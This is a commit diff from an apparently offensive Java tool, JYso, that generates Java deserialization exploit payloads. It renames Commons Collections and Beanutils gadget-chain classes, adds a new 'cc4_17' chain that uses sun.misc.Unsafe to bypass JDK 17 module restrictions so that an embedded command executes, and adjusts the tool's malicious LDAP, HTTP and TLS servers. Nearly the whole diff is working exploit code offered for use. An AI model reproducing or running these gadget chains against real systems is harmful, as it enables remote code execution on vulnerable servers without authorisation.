feat: cc链和cb链类名简写，新镇cc4_17

src/main/java/com/qi4l/JYso/Starter.java

@@ -24,12 +24,13 @@ public class Starter {
         if (args.length > 0 && args[0].equals("-j")) {
             logo();
             Config.applyCmdArgs(args);
-            if (Config.TLSProxy) {
-                TLSProxy.start();
-            }
             LdapServer.start();
             HTTPServer.start();
-            RMIServer.start();
+            if (Config.TLSProxy) {
+                TLSProxy.start();
+            } else {
+                //RMIServer.start();
+            }
         }
 
         // 如果参数中包含-y，则启动 ysuserial

src/main/java/com/qi4l/JYso/TLSProxy.java

@@ -29,8 +29,9 @@ public class TLSProxy {
     }
 
     public static void start() {
-        System.out.println(ansi().render("@|green [+]|@ LDAPS Server Start Listening on >>" + Config.TLSProxy + "..."));
+        System.out.println(ansi().render("@|green [+]|@ LDAPS Server Start Listening on >> " + Config.TLSPort + "..."));
-        new TLSProxy(Config.ip + ":" + Config.TLSProxy, Config.ip + ":" + Config.ldapPort, Config.certFile, Config.keyFile).run();
+
+        new TLSProxy(Config.ip + ":" + Config.TLSPort, Config.ip + ":" + Config.ldapPort, Config.certFile, Config.keyFile).run();
     }
 
     public void run() {
@@ -43,13 +44,13 @@ public class TLSProxy {
         try (SSLServerSocket serverSocket = (SSLServerSocket) sslServerSocketFactory.createServerSocket()) {
             String[] addressParts = localAddr.split(":");
             serverSocket.bind(new InetSocketAddress(addressParts[0], Integer.parseInt(addressParts[1])));
-            System.out.println("TLS Proxy started on " + localAddr);
+            //System.out.println("TLS Proxy started on " + localAddr);
 
             ExecutorService executorService = Executors.newCachedThreadPool();
 
             while (true) {
                 SSLSocket clientSocket = (SSLSocket) serverSocket.accept();
-                System.out.println("New connection from " + clientSocket.getRemoteSocketAddress());
+                //System.out.println("New connection from " + clientSocket.getRemoteSocketAddress());
                 executorService.submit(() -> handleConnection(clientSocket));
             }
         } catch (IOException e) {
@@ -64,10 +65,10 @@ public class TLSProxy {
             KeyStore          keyStore          = KeyStore.getInstance("JKS");
 
             try (InputStream keyInput = new FileInputStream(certFile)) {
-                keyStore.load(keyInput, "".toCharArray());
+                keyStore.load(keyInput, Config.keyPass.toCharArray());
             }
 
-            keyManagerFactory.init(keyStore, "".toCharArray());
+            keyManagerFactory.init(keyStore, Config.keyPass.toCharArray());
 
             sslContext.init(keyManagerFactory.getKeyManagers(), null, null);
             return sslContext.getServerSocketFactory();
@@ -78,24 +79,25 @@ public class TLSProxy {
     }
 
     private void handleConnection(SSLSocket clientSocket) {
-        try (Socket remoteSocket = new Socket(remoteAddr, getPort(remoteAddr))) {
+        String[] addressParts = localAddr.split(":");
+        try (Socket remoteSocket = new Socket(addressParts[0], Integer.parseInt(addressParts[1]))) {
             System.out.println("Connected to " + remoteAddr);
             ExecutorService executorService = Executors.newCachedThreadPool();
 
-            executorService.submit(() -> {
+            //executorService.submit(() -> {
-                try {
+            //    try {
-                    forwardData(clientSocket.getInputStream(), remoteSocket.getOutputStream());
+            //        forwardData(clientSocket.getInputStream(), remoteSocket.getOutputStream());
-                } catch (IOException e) {
+            //    } catch (IOException e) {
-                    throw new RuntimeException(e);
+            //        throw new RuntimeException(e);
-                }
+            //    }
-            });
+            //});
-            executorService.submit(() -> {
+            //executorService.submit(() -> {
-                try {
+            //    try {
-                    forwardData(remoteSocket.getInputStream(), clientSocket.getOutputStream());
+            //        forwardData(remoteSocket.getInputStream(), clientSocket.getOutputStream());
-                } catch (IOException e) {
+            //    } catch (IOException e) {
-                    throw new RuntimeException(e);
+            //        throw new RuntimeException(e);
-                }
+            //    }
-            });
+            //});
         } catch (IOException e) {
             e.printStackTrace();
         }
@@ -113,8 +115,4 @@ public class TLSProxy {
             e.printStackTrace();
         }
     }
-
-    private int getPort(String address) {
-        return Integer.parseInt(address.substring(address.lastIndexOf(':') + 1));
-    }
 }

src/main/java/com/qi4l/JYso/exploit/JMXInvokeMBean.java

@@ -9,10 +9,9 @@ import javax.management.remote.JMXConnector;
 import javax.management.remote.JMXConnectorFactory;
 import javax.management.remote.JMXServiceURL;
 
-/*
+/**
  * Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
  * Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
- *
  */
 public class JMXInvokeMBean {
 

src/main/java/com/qi4l/JYso/gadgets/Config/Config.java

@@ -40,10 +40,14 @@ public class Config {
     public static String  AESkey   = "123";
     @Parameter(names = {"-u", " --user"}, help = true, description = "ldap bound account", order = 5)
     public static String  USER     = "";
-    @Parameter(names = {"-tP", " --TLSProxy"}, help = true, description = "TLS port forwarding", order = 5)
-    public static boolean TLSProxy = false;
     @Parameter(names = {"-p", " --PASSWD"}, help = true, description = "ldap binding password", order = 5)
     public static String  PASSWD   = "";
+    @Parameter(names = {"-t", " --TLSProxy"}, help = true, description = "TLS port forwarding", order = 5)
+    public static boolean TLSProxy = false;
+    @Parameter(names = {"-tP", " --TLSPort"}, help = true, description = "TLS port", order = 5)
+    public static String  TLSPort  = "";
+    @Parameter(names = {"-kS", " --keyPass"}, help = true, description = "TLS private key", order = 5)
+    public static String  keyPass  = "";
     @Parameter(names = {"-kF", " --keyFile"}, help = true, description = "Path to the TLS private key file", order = 5)
     public static String  keyFile  = "";
     @Parameter(names = {"-cF", " --certFile"}, help = true, description = "Path to the TLS certificate file", order = 5)
@@ -94,13 +98,13 @@ public class Config {
     public static Boolean IS_UTF_Bypass                = false;
     public static Boolean IS_Hessian1                  = false;
     public static Boolean IS_Hessian2                  = false;
-    public static Boolean IS_Xstream = false;
+    public static Boolean IS_Xstream                   = false;
-    public static Boolean IS_Kryo = false;
+    public static Boolean IS_Kryo                      = false;
-    public static Boolean IS_JYAML = false;
+    public static Boolean IS_JYAML                     = false;
-    public static Boolean IS_JsonIO = false;
+    public static Boolean IS_JsonIO                    = false;
-    public static Boolean IS_YamlBeans = false;
+    public static Boolean IS_YamlBeans                 = false;
-    public static Boolean IS_Castor = false;
+    public static Boolean IS_Castor                    = false;
-    public static Boolean IS_Jackson = false;
+    public static Boolean IS_Jackson                   = false;
     // 填充的脏数据长度
     public static int     DIRTY_LENGTH_IN_TC_RESET     = 0;
 

src/main/java/com/qi4l/JYso/gadgets/Jackson3.java

@@ -4,6 +4,8 @@ import com.fasterxml.jackson.databind.node.POJONode;
 import com.qi4l.JYso.gadgets.utils.SuClassLoader;
 import com.qi4l.JYso.gadgets.utils.Gadgets;
 
+import com.qi4l.JYso.gadgets.utils.jdk17Bypass;
+import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 import javassist.ClassClassPath;
 
 import org.springframework.aop.framework.AdvisedSupport;
@@ -12,6 +14,7 @@ import javassist.ClassPool;
 import javassist.CtClass;
 import javassist.CtMethod;
 
+import javax.swing.event.EventListenerList;
 import javax.xml.transform.Templates;
 
 import java.lang.reflect.Constructor;
@@ -19,6 +22,7 @@ import java.lang.reflect.InvocationHandler;
 import java.lang.reflect.Proxy;
 import java.lang.reflect.*;
 
+import java.util.ArrayList;
 import java.util.Vector;
 
 import static com.qi4l.JYso.gadgets.Config.Config.POOL;
@@ -89,14 +93,14 @@ public class Jackson3 implements ObjectPayload<Object> {
 
         }
 
-        //ArrayList<Class> classes = new ArrayList <>();
+        ArrayList<Class> classes = new ArrayList<>();
-        //classes.add(TemplatesImpl.class);
+        classes.add(TemplatesImpl.class);
-        //classes.add(POJONode.class);
+        classes.add(POJONode.class);
-        //classes.add(EventListenerList.class);
+        classes.add(EventListenerList.class);
-        //classes.add(Jackson3.class);
+        classes.add(Jackson3.class);
-        //classes.add(Field.class);
+        classes.add(Field.class);
-        //classes.add(Method.class);
+        classes.add(Method.class);
-        //new jdk17Bypass().bypassModule(classes);
+        new jdk17Bypass().bypassModule(classes);
 
 
         POJONode node = new POJONode(makeTemplatesImplAopProxy(command));

src/main/java/com/qi4l/JYso/gadgets/cb1183.java

@@ -13,7 +13,7 @@ import java.util.PriorityQueue;
 import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
 
 @Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"})
-public class CommonsBeanutils1183 implements ObjectPayload<Object> {
+public class cb1183 implements ObjectPayload<Object> {
 
     @Override
     public Object getObject(String command) throws Exception {

src/main/java/com/qi4l/JYso/gadgets/cb160.java

@@ -11,26 +11,28 @@ import java.util.PriorityQueue;
 
 
 import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
+import static com.qi4l.JYso.gadgets.utils.jdk17Bypass.patchModule;
 
 @Dependencies({"commons-beanutils:commons-beanutils:1.6.0"})
-public class CommonsBeanutils160 implements ObjectPayload<Object> {
+public class cb160 implements ObjectPayload<Object> {
 
     @Override
     public Object getObject(String command) throws Exception {
-        final Object template;
+        final Object template = Gadgets.createTemplatesImpl(command);
-        template = Gadgets.createTemplatesImpl(command);
 
         ClassPool pool    = ClassPool.getDefault();
         CtClass   ctClass = pool.get("org.apache.commons.beanutils.BeanComparator");
-
         insertField(ctClass, "serialVersionUID", "private static final long serialVersionUID = 2573799559215537819;");
 
+
         Class                       beanCompareClazz = ctClass.toClass();
         BeanComparator              comparator       = (BeanComparator) beanCompareClazz.newInstance();
         final PriorityQueue<Object> queue            = new PriorityQueue<Object>(2, comparator);
         queue.add("1");
         queue.add("1");
 
+        patchModule(cc4_17.class, queue.getClass());
+
         // switch method called by comparator
         Reflections.setFieldValue(comparator, "property", "outputProperties");
         Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER);

src/main/java/com/qi4l/JYso/gadgets/cb192.java

@@ -10,7 +10,7 @@ import java.util.PriorityQueue;
 
 @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
 @Authors({Authors.FROHOFF})
-public class CommonsBeanutils192 implements ObjectPayload<Object> {
+public class cb192 implements ObjectPayload<Object> {
 
     public Object getObject(String command) throws Exception {
         final Object template;

src/main/java/com/qi4l/JYso/gadgets/cb2183.java

@@ -16,7 +16,7 @@ import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
 import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
 
 @Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"})
-public class CommonsBeanutils2183 implements ObjectPayload<Object> {
+public class cb2183 implements ObjectPayload<Object> {
     @Override
     public Object getObject(String command) throws Exception {
         final Object templates = Gadgets.createTemplatesImpl(command);

src/main/java/com/qi4l/JYso/gadgets/cb3183.java

@@ -15,7 +15,7 @@ import static com.qi4l.JYso.gadgets.Config.Config.POOL;
 import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
 
 @Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"})
-public class CommonsBeanutils3183 implements ObjectPayload<Object>{
+public class cb3183 implements ObjectPayload<Object>{
     @Override
     public Object getObject(String command) throws Exception {
         String jndiURL = null;

src/main/java/com/qi4l/JYso/gadgets/cc1.java

@@ -40,7 +40,7 @@ import java.util.Map;
 @SuppressWarnings({"rawtypes", "unchecked", "unused"})
 @Dependencies({"commons-collections:commons-collections:3.1"})
 @Authors({Authors.FROHOFF})
-public class CommonsCollections1 implements ObjectPayload<InvocationHandler> {
+public class cc1 implements ObjectPayload<InvocationHandler> {
 
     @Override
     public InvocationHandler getObject(String command) throws Exception {

src/main/java/com/qi4l/JYso/gadgets/cc10.java

@@ -15,14 +15,20 @@ import javax.xml.transform.Templates;
 import java.util.HashMap;
 import java.util.Map;
 
+import static com.qi4l.JYso.gadgets.utils.jdk17Bypass.patchModule;
+
 
 @Dependencies({"commons-collections:commons-collections:3.2.1"})
-public class CommonsCollections10 implements ObjectPayload<Object> {
+public class cc10 implements ObjectPayload<Object> {
-
     public Object getObject(String command) throws Exception {
         final Object templates;
 
         templates = Gadgets.createTemplatesImpl(command);
+
+        Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
+        patchModule(cc4_17.class,aClass);
+
+
         // 使用 InstantiateFactory 代替 InstantiateTransformer
         InstantiateFactory instantiateFactory = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{templates});
         FactoryTransformer factoryTransformer = new FactoryTransformer((Factory) instantiateFactory);

src/main/java/com/qi4l/JYso/gadgets/cc11.java

@@ -16,7 +16,7 @@ import java.util.Map;
  * 需要调用其 connect 方法，因此需要调用任意方法的 Gadget，这里选择了 InvokerTransformer
  * 直接传入 Base64 编码的序列化数据即可
  */
-public class CommonsCollections11 implements ObjectPayload<Object> {
+public class cc11 implements ObjectPayload<Object> {
 
     @Override
     public Object getObject(String command) throws Exception {

src/main/java/com/qi4l/JYso/gadgets/cc12.java

@@ -18,7 +18,7 @@ import java.util.Map;
 
 @Dependencies({"commons-collections:commons-collections:3.2.1"})
 @Authors({Authors.Jayl1n})
-public class CommonsCollections12 implements ObjectPayload<Object>{
+public class cc12 implements ObjectPayload<Object>{
     @Override
     public Object getObject(String command) throws Exception {
         final Transformer transformerChain = new ChainedTransformer(

src/main/java/com/qi4l/JYso/gadgets/cc13.java

@@ -16,7 +16,7 @@ import java.util.Map;
 
 @Dependencies({"commons-collections:commons-collections:3.1"})
 @Authors({Authors.Unam4})
-public class CommonsCollections13 implements ObjectPayload<Object> {
+public class cc13 implements ObjectPayload<Object> {
     @Override
     public Object getObject(String command) throws Exception {
         final Transformer[] transformers     = TransformerUtil.makeTransformer(command);

src/main/java/com/qi4l/JYso/gadgets/cc2.java

@@ -14,7 +14,7 @@ import java.util.Queue;
 @SuppressWarnings({"rawtypes", "unchecked"})
 @Dependencies({"org.apache.commons:commons-collections4:4.0"})
 @Authors({Authors.FROHOFF})
-public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
+public class cc2 implements ObjectPayload<Queue<Object>> {
 
     public Queue<Object> getObject(String command) throws Exception {
         final Object templates;

src/main/java/com/qi4l/JYso/gadgets/cc3.java

@@ -26,7 +26,7 @@ import java.util.Map;
 @SuppressWarnings({"rawtypes", "unchecked", "restriction", "unused"})
 @Dependencies({"commons-collections:commons-collections:3.1"})
 @Authors({Authors.FROHOFF})
-public class CommonsCollections3 implements ObjectPayload<Object> {
+public class cc3 implements ObjectPayload<Object> {
 
     public static boolean isApplicableJavaVersion() {
         return JavaVersion.isAnnInvHUniversalMethodImpl();

src/main/java/com/qi4l/JYso/gadgets/cc4.java

@@ -23,19 +23,17 @@ import java.util.Queue;
 
 @Dependencies({"org.apache.commons:commons-collections4:4.0"})
 @Authors({Authors.FROHOFF})
-public class CommonsCollections4 implements ObjectPayload<Queue<Object>> {
+public class cc4 implements ObjectPayload<Queue<Object>> {
 
     public Queue<Object> getObject(String command) throws Exception {
-        final Object templates;
+        final Object templates = Gadgets.createTemplatesImpl(command);
-        templates = Gadgets.createTemplatesImpl(command);
 
         ConstantTransformer constant = new ConstantTransformer(String.class);
 
         // mock method name until armed
         Class[]  paramTypes = new Class[]{String.class};
         Object[] args       = new Object[]{Utils.generateRandomString(4)};
-        InstantiateTransformer instantiate = new InstantiateTransformer(
+        InstantiateTransformer instantiate = new InstantiateTransformer(paramTypes, args);
-                paramTypes, args);
 
         // grab defensively copied arrays
         paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");

src/main/java/com/qi4l/JYso/gadgets/cc4_17.java

@@ -0,0 +1,45 @@
+package com.qi4l.JYso.gadgets;
+
+import com.qi4l.JYso.gadgets.utils.Gadgets;
+import org.apache.commons.collections4.Transformer;
+import org.apache.commons.collections4.comparators.TransformingComparator;
+import org.apache.commons.collections4.functors.*;
+
+import javax.xml.transform.Templates;
+import java.lang.reflect.Field;
+import java.util.PriorityQueue;
+
+import static com.qi4l.JYso.gadgets.utils.jdk17Bypass.patchModule;
+
+public class cc4_17 implements ObjectPayload<Object>{
+    @Override
+    public Object getObject(String command) throws Exception {
+        final Object           templates            = Gadgets.createTemplatesImpl(command);
+
+        Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
+        patchModule(cc4_17.class,aClass);
+
+        Class<?>               TrAXFilter           = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter");
+        InstantiateTransformer invokerTransformer5  = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
+        ConstantTransformer    constantTransformer2 = new ConstantTransformer(TrAXFilter);
+
+        InvokerTransformer  invokerTransformer4 = new InvokerTransformer("getAndSetObject",new Class[]{Object.class,long.class,Object.class}, new Object[]{Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"),60,"javax.xml"});
+        InvokerTransformer  invokerTransformer3 = new InvokerTransformer("get",new Class[]{Object.class}, new Object[]{null});
+        InvokerTransformer  invokerTransformer2 = new InvokerTransformer("setAccessible",new Class[]{boolean.class}, new Object[]{true});
+        TransformerClosure  transformerClosure  = new TransformerClosure(invokerTransformer2);
+        ClosureTransformer  ClosureTransformer  = new ClosureTransformer(transformerClosure);
+        InvokerTransformer  invokerTransformer  = new InvokerTransformer("getDeclaredField",new Class[]{String.class}, new Object[]{"theUnsafe"});
+        ConstantTransformer constantTransformer = new ConstantTransformer(Class.forName("sun.misc.Unsafe"));
+        Transformer[]       transformers        =new Transformer[]{constantTransformer,invokerTransformer,ClosureTransformer,invokerTransformer3,invokerTransformer4,constantTransformer2,invokerTransformer5};
+        Transformer         keyTransformer      = new ChainedTransformer(transformers);
+
+        TransformingComparator transformingComparator = new TransformingComparator(keyTransformer);
+        PriorityQueue          priorityQueue          = new PriorityQueue(2,transformingComparator);
+        patchModule(cc4_17.class,priorityQueue.getClass());
+        Field size = priorityQueue.getClass().getDeclaredField("size");
+        size.setAccessible(true);
+        size.setInt(priorityQueue, 2);
+
+        return priorityQueue;
+    }
+}

src/main/java/com/qi4l/JYso/gadgets/cc5.java

@@ -40,7 +40,7 @@ import java.util.Map;
 @SuppressWarnings({"rawtypes", "unused"})
 @Dependencies({"commons-collections:commons-collections:3.1"})
 @Authors({Authors.MATTHIASKAISER, Authors.JASINNER})
-public class CommonsCollections5 implements ObjectPayload<BadAttributeValueExpException> {
+public class cc5 implements ObjectPayload<BadAttributeValueExpException> {
 
     public static boolean isApplicableJavaVersion() {
         return JavaVersion.isBadAttrValExcReadObj();

src/main/java/com/qi4l/JYso/gadgets/cc6.java

@@ -35,7 +35,7 @@ import java.util.Map;
 @SuppressWarnings({"rawtypes", "unchecked"})
 @Dependencies({"commons-collections:commons-collections:3.1"})
 @Authors({Authors.MATTHIASKAISER})
-public class CommonsCollections6 implements ObjectPayload<Serializable> {
+public class cc6 implements ObjectPayload<Serializable> {
     public Serializable getObject(String command) throws Exception {
 
         final Transformer[] transformers = TransformerUtil.makeTransformer(command);

src/main/java/com/qi4l/JYso/gadgets/cc7.java

@@ -18,7 +18,7 @@ import java.util.Map;
 @SuppressWarnings({"rawtypes", "unchecked"})
 @Dependencies({"commons-collections:commons-collections:3.1"})
 @Authors({Authors.SCRISTALLI, Authors.HANYRAX, Authors.EDOARDOVIGNATI})
-public class CommonsCollections7 implements ObjectPayload<Hashtable> {
+public class cc7 implements ObjectPayload<Hashtable> {
 
     public Hashtable getObject(String command) throws Exception {
 

src/main/java/com/qi4l/JYso/gadgets/cc8.java

@@ -1,24 +1,31 @@
 package com.qi4l.JYso.gadgets;
 
+import com.fasterxml.jackson.databind.node.POJONode;
 import com.qi4l.JYso.gadgets.annotation.Authors;
 import com.qi4l.JYso.gadgets.annotation.Dependencies;
 import com.qi4l.JYso.gadgets.utils.Gadgets;
 import com.qi4l.JYso.gadgets.utils.Reflections;
+import com.qi4l.JYso.gadgets.utils.jdk17Bypass;
+import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 import org.apache.commons.collections4.Transformer;
 import org.apache.commons.collections4.bag.TreeBag;
 import org.apache.commons.collections4.comparators.TransformingComparator;
 import org.apache.commons.collections4.functors.InvokerTransformer;
 
+import javax.swing.event.EventListenerList;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
 import java.util.Comparator;
 
 
 @Dependencies({"org.apache.commons:commons-collections4:4.0"})
 @Authors({"navalorenzo"})
-public class CommonsCollections8 implements ObjectPayload<TreeBag> {
+public class cc8 implements ObjectPayload<TreeBag> {
 
     public TreeBag getObject(String command) throws Exception {
-        final Object templates;
+        final Object           templates   = Gadgets.createTemplatesImpl(command);
-        templates = Gadgets.createTemplatesImpl(command);
+
         InvokerTransformer     transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
         TransformingComparator comp        = new TransformingComparator((Transformer) transformer);
         TreeBag                tree        = new TreeBag((Comparator) comp);

src/main/java/com/qi4l/JYso/gadgets/cc9.java

@@ -17,7 +17,7 @@ import java.util.Map;
 @Dependencies({"commons-collections:commons-collections:3.2.1"})
 @Authors({"梅子酒"})
 
-public class CommonsCollections9 implements ObjectPayload<BadAttributeValueExpException> {
+public class cc9 implements ObjectPayload<BadAttributeValueExpException> {
 
     public BadAttributeValueExpException getObject(String command) throws Exception {
 

src/main/java/com/qi4l/JYso/gadgets/cck1.java

@@ -22,7 +22,7 @@ import java.util.Map;
  */
 
 @Dependencies({"commons-collections:commons-collections:3.1"})
-public class CommonsCollectionsK1 implements ObjectPayload<Object> {
+public class cck1 implements ObjectPayload<Object> {
 
     public Object getObject(String command) throws Exception {
 

src/main/java/com/qi4l/JYso/gadgets/cck2.java

@@ -11,7 +11,7 @@ import java.util.HashMap;
 import java.util.Map;
 
 @Dependencies({"commons-collections:commons-collections:4.0"})
-public class CommonsCollectionsK2 implements ReleaseableObjectPayload<Object> {
+public class cck2 implements ReleaseableObjectPayload<Object> {
 
     public Object getObject(String command) throws Exception {
         final Object templates;

src/main/java/com/qi4l/JYso/gadgets/cck3.java

@@ -15,7 +15,7 @@ import java.util.Map;
 
 @Dependencies({"commons-collections:commons-collections:3.1"})
 @Authors({Authors.MATTHIASKAISER})
-public class CommonsCollectionsK3 implements ObjectPayload<Object> {
+public class cck3 implements ObjectPayload<Object> {
 
     public Object getObject(String command) throws Exception {
         Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};

src/main/java/com/qi4l/JYso/gadgets/cck4.java

@@ -15,7 +15,7 @@ import java.util.Map;
 
 @Dependencies({"commons-collections:commons-collections:4.0"})
 @Authors({Authors.MATTHIASKAISER})
-public class CommonsCollectionsK4 implements ObjectPayload<Object> {
+public class cck4 implements ObjectPayload<Object> {
 
     public Object getObject(String command) throws Exception {
         Transformer[]       fakeTransformers = new Transformer[]{new ConstantTransformer(1)};

src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java

@@ -1,6 +1,5 @@
 package com.qi4l.JYso.gadgets.utils;
 
-import com.qi4l.JYso.gadgets.CommonsCollectionsK2;
 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

src/main/java/com/qi4l/JYso/gadgets/utils/jdk17Bypass.java

@@ -50,4 +50,18 @@ public class jdk17Bypass {
             e.printStackTrace();
         }
     }
+
+    public static void patchModule(Class clazz, Class goalclass){
+        try {
+            Class UnsafeClass = Class.forName("sun.misc.Unsafe");
+            Field unsafeField = UnsafeClass.getDeclaredField("theUnsafe");
+            unsafeField.setAccessible(true);
+            Unsafe unsafe       = (Unsafe)unsafeField.get(null);
+            Object ObjectModule = Class.class.getMethod("getModule").invoke(goalclass);
+            Class  currentClass = clazz;
+            long   addr         =unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
+            unsafe.getAndSetObject(currentClass,addr,ObjectModule);
+        } catch (Exception e) {
+        }
+    }
 }